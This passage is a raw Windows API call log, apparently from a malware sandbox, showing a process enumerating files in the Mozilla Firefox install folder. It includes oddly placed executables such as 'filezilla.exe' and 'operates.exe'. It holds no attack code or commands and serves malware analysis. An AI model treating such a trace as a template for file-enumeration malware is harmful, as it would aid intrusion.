ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="SEARCH~1")) returned 0 [0258.644] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0258.644] GetProcessHeap () returned 0x550000 [0258.644] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0258.644] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x24ca9180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1ca70, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter.exe", cAlternateFileName="CRASHR~1.EXE")) returned 1 [0258.644] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x45382300, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0xfa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter.ini", cAlternateFileName="CRASHR~1.INI")) returned 1 [0258.644] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xfd9a7300, ftLastWriteTime.dwHighDateTime=0x1cafd02, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x0, cFileName="D3DCompiler_43.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0258.645] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="defaults", cAlternateFileName="")) returned 1 [0258.645] GetProcessHeap () returned 0x550000 [0258.645] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0258.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.022] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.022] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 1 [0259.023] GetProcessHeap () returned 0x550000 [0259.023] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0259.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0259.100] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.100] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6390400, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="CHANNE~1.JS")) returned 1 [0259.100] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6390400, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="CHANNE~1.JS")) returned 0 [0259.100] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0259.100] GetProcessHeap () returned 0x550000 [0259.100] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0259.100] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 0 [0259.100] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.100] GetProcessHeap () returned 0x550000 [0259.100] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.100] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x52aed680, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1 [0259.101] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0259.101] GetProcessHeap () returned 0x550000 [0259.101] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.103] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.103] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0xcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.aff", cAlternateFileName="")) returned 1 [0259.103] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x9863e, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 1 [0259.103] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x9863e, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 0 [0259.103] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.103] GetProcessHeap () returned 0x550000 [0259.103] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.103] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1995c590, ftCreationTime.dwHighDateTime=0x1d57d4c, ftLastAccessTime.dwLowDateTime=0xba8ea990, ftLastAccessTime.dwHighDateTime=0x1d5bae0, ftLastWriteTime.dwLowDateTime=0xba8ea990, ftLastWriteTime.dwHighDateTime=0x1d5bae0, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1 [0259.103] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x25fbbe80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x43470, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0259.103] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0259.103] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x49c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.dll", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2ac07280, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x34ca70, dwReserved0=0x0, dwReserved1=0x0, cFileName="gkmedias.dll", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaeef6000, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb125e740, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x5aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.log", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2b590900, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xfa70, dwReserved0=0x0, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2c8a3600, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x86270, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x2f7f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice_installer.exe", cAlternateFileName="MAINTE~2.EXE")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2e53f980, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4270, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozalloc.dll", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2eec9000, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1fe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozglue.dll", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x314eea00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x336470, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozjs.dll", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0x66d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp100.dll", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0xbc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0259.104] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3318ad80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1b1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="nss3.dll", cAlternateFileName="")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3449da80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x60070, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssckbi.dll", cAlternateFileName="")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssdbm3.chk", cAlternateFileName="")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x16870, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssdbm3.dll", cAlternateFileName="")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x58a5b700, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x771d55, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6cfa7a0, ftCreationTime.dwHighDateTime=0x1d5e18d, ftLastAccessTime.dwLowDateTime=0x728bbf90, ftLastAccessTime.dwHighDateTime=0x1d5d424, ftLastWriteTime.dwLowDateTime=0x728bbf90, ftLastWriteTime.dwHighDateTime=0x1d5d424, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="operates.exe", cAlternateFileName="")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf10b340, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf10b340, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1218800, ftLastWriteTime.dwHighDateTime=0x1ced1df, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="platform.ini", cAlternateFileName="")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x357b0780, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4870, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-container.exe", cAlternateFileName="PLUGIN~1.EXE")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x36139e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x6e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-hang-ui.exe", cAlternateFileName="PLUGIN~2.EXE")) returned 1 [0259.105] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5c2963ee, 